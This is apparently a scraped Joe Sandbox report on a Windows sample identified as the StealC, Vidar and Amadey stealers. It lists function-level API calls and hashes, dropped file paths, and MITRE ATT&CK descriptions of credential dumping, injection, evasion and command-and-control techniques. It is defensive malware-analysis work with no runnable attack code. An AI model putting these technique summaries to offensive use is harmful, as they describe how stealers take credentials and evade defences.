malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C36B127,?,?,?,?,?,?,?,?), ref: 6C36B74D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fe11cfb61924271c8246acd878b1303ad34127ac00cc88e0e740c18f111d0e2d
Instruction ID: 1321d0a45f3f22915521bb804faa9d047e9cce3e795942d4bd4d6e337f307bd1
Opcode Fuzzy Hash: fe11cfb61924271c8246acd878b1303ad34127ac00cc88e0e740c18f111d0e2d
Instruction Fuzzy Hash: 2651D071A052168FDB14CF1AC98465EF7B9FF45308F45852DE85AABB18EB31E804CFA1

Function 6C36DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C35FF2A), ref: 6C36DFFD

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C35FF2A), ref: 6C36E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C35FF2A), ref: 6C36E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C35FF2A), ref: 6C36E0FE

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 608ab9db159c8104a002c60931f552da4b035306543dc4edd171de351076a569
Instruction ID: affae71c20bca88051cba5b8c274e1697a84686c90a21fcbe727291f7395574d
Opcode Fuzzy Hash: 608ab9db159c8104a002c60931f552da4b035306543dc4edd171de351076a569
Instruction Fuzzy Hash: 4141B1B16043068FEB14CF6ADC8039A77B6AB45308F144539D596DBB48E732E909CFE2

Function 6C366E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C366EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C366EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C366F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C366F5C

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f7e2ebb58734311e165b2277829fbaf5cb48f7100ce54fffa36dc29910396466
Instruction ID: 9e404252e2846c13f526c9664beddcda75433cdbcbae261d978ab5896528b673
Opcode Fuzzy Hash: f7e2ebb58734311e165b2277829fbaf5cb48f7100ce54fffa36dc29910396466
Instruction Fuzzy Hash: 7A31E771A1060A8FEB04CF2DDD406AA73F9EB94344F504539D41ACBA55EB32E659CBA0

Function 6C37B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C320A4D), ref: 6C37B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C320A4D), ref: 6C37B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C320A4D), ref: 6C37B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C320A4D), ref: 6C37B67F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 45b51441356659de40918fa3d31a05997088ae57d42c6f755cd09d51318b88a6
Instruction ID: 34a81e06f4c89bbcec13d699f82b22ac82898e866e4f9afb240ab653b739e2bd
Opcode Fuzzy Hash: 45b51441356659de40918fa3d31a05997088ae57d42c6f755cd09d51318b88a6
Instruction Fuzzy Hash: 2D31D671A012158FEB20CF58C84469AF7BAFF81308F168569C9469F301EB36E915CFB5

Function 6C34F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C34F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C34F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C34F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C34F668

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 516fd478ea94684430227585da57c280c0f686661443f451cf9e7f87b95a241b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71A00214AFC714DF1DDCC0A9A77F9EB88358B18C538EA498BB04D676E9458F90

Function 6C3626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3626C1
free.MOZGLUE(?), ref: 6C3626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3626FF
free.MOZGLUE ref: 6C36270D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b6781b9c31f32c5ed88a22a01170b056cd0483c10b4d111555490544070ee31b
Instruction ID: 90aa46643f8f12e13687598f93c1fb55b60ad3a05f053ac53adfeadab653dee6
Opcode Fuzzy Hash: b6781b9c31f32c5ed88a22a01170b056cd0483c10b4d111555490544070ee31b
Instruction Fuzzy Hash: 98F0F9B27012015BF7009E19E888D47B3ADEF41258B550035EA1AD3F02E373F918CB92

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ukuWaeRgPR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAKEBGDAFHIIDHIIECFBKFIJK

C:\ProgramData\AFIIEBGCAAECBGCBGCBKEHIJEB

C:\ProgramData\AKFHDBFI

C:\ProgramData\BAFIEGIECGCBKFIEBGCA

C:\ProgramData\CBAKEBGIIDAFIDHIIECFCFIEGH

C:\ProgramData\DBAEGCGCGIEGDHIDHJJE

C:\ProgramData\GCGDGHCB

C:\ProgramData\HDGIJJDGCBKFIDHIEBKECGIJDH

C:\ProgramData\IIJKJDAFHJDHIEBGCFID

C:\ProgramData\freebl3.dll

Windows Analysis Report
ukuWaeRgPR.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre